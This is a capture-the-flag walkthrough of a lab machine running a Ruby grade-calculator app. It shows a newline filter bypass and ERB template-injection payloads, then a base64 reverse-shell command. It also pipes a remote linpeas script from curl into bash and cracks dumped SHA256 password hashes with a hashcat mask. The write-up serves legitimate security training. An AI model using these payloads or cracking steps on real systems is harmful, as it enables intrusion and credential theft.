Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open http nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Since the scan only returns two ports and SSH is usually not vulnerable, I’ll focus on HTTP.
HTTP
After browsing to the page I’m greeted with “Weighted Grade Calculator” and three options in the navigation bar, Home, About Us, and Calculate your weighted grade. Picking the latter one shows a table where I can input different values.
All fields need to be filled, category with a value or N/A
and the other fields with a number (or 0
). Apparently there’s also a check if all the weights add up to 100.
Adding something like system('id')
as category returns Malicious input blocked
so there seems to be some kind of filtering in place - also this could mean that the input is likely passed to some insecure function.
The footer of the webpage says Powered by WEBrick 1.7.0
meaning the page likely uses ruby.
Execution
Shell as susan
A common way to bypass filtering is to inject a newline \n
(%0A
url-encoded). Using x%0Asystem('id')
as payload for the category, removes the error missing regarding the malicious input, so I may have succesfully bypassed the filtering. It’s unlikely that my input is directly executed so I assume that the values provided in the table are used in some kind of template. In case the templating engine is ERB
I might have success with a payload like <%= 7*7 %>
.
Since my payload test%0A<%25%3d+7*7+%25>
was succesfull I confirmed that the web application is vulnerable to Server Side Template Injection(SSTI). I’ll try remote code execution with system('ping -c 1 10.10.10.10')
next and receive a ping (tcpdump -nni tun0 icmp
).
The next logical step is to use a reverse shell payload to get access to target. I’ll use a common payload that I base64 and url-encode before embedding it in test%0A<%25%3d+system('echo+PAYLOAD|base64+-d|bash')+%25>
After sending the request I get a callback on my listener as susan
and also access to the user.txt
in /home/susan
.
Privilege Escalation
Even though I do have access to the susan
account, I’m still lacking its password to be able to run sudo
. Running linpeas.sh to enumerate the system returns two interesting pieces of information.
curl -sS 'http://10.10.10.10./linpeas.sh' | bash | tee -a ~/log.txt
--- SNIP ---
╔══════════╣ Mails (limit 50)
39937 4 -rw-r----- 1 root susan 625 May 14 2023 /var/mail/susan
39937 4 -rw-r----- 1 root susan 625 May 14 2023 /var/spool/mail/susan
--- SNIP ---
╔══════════╣ Searching *password* or *credential* files in home (limit 70)
/etc/pam.d/common-password
/home/susan/Migration/pupilpath_credentials.db
--- SNIP ---
susan@perfection:~/ruby_app$ file /home/susan/Migration/pupilpath_credentials.db
/home/susan/Migration/pupilpath_credentials.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 6, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 6
susan@perfection:~/ruby_app$ sqlite3 /home/susan/Migration/pupilpath_credentials.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8
sqlite> .schema users
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
);
The hash for susan
is 64 characters in length, hinting towards SHA256
. Before trying to crack the password(s), I first check her mails in /var/mail/susan
.
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students
in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
- Tina, your delightful student
Apparently the password follows a specific format that I can apply to the susan user susan_nasus_XXXXXXXXX
with X being a digit. In order to crack it I’ll use hashcat
with a custom mask
1.
The mode to use is 1400
for SHA256
and the attack mode is 3
for bruteforce
. hashcat uses variables in the mask to replace them with certain values, e.g. ?d
will be replaced with a value from 0123456789
.
hashcat -m 1400 \
-a 3 \
'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' \
'susan_nasus_?d?d?d?d?d?d?d?d?d'
--- SNIP ---
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210
--- SNIP ---
After a while hashcat can crack the password and I can escalate my privileges straight to root
because susan can run any command as root (su -
).
sudo -l
[sudo] password for susan:
Matching Defaults entries for susan on perfection:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User susan may run the following commands on perfection:
(ALL : ALL) ALL
Attack Path
flowchart TD subgraph "Execution" A(Webpage) -->|SSTI in ERB|B(Shell as susan) end subgraph "Collection" B --> C & E C(Personal Mail) --> D(Password Format) E(Local Database) -->|sqlite3|F(Hash) end subgraph CA["Credential Access"] D & F -->G(Bruteforce) G -->|Hashcat w/ mask|H(Valid Credentials) end subgraph "Privilege Escalation" H -->|sudo|I(root) end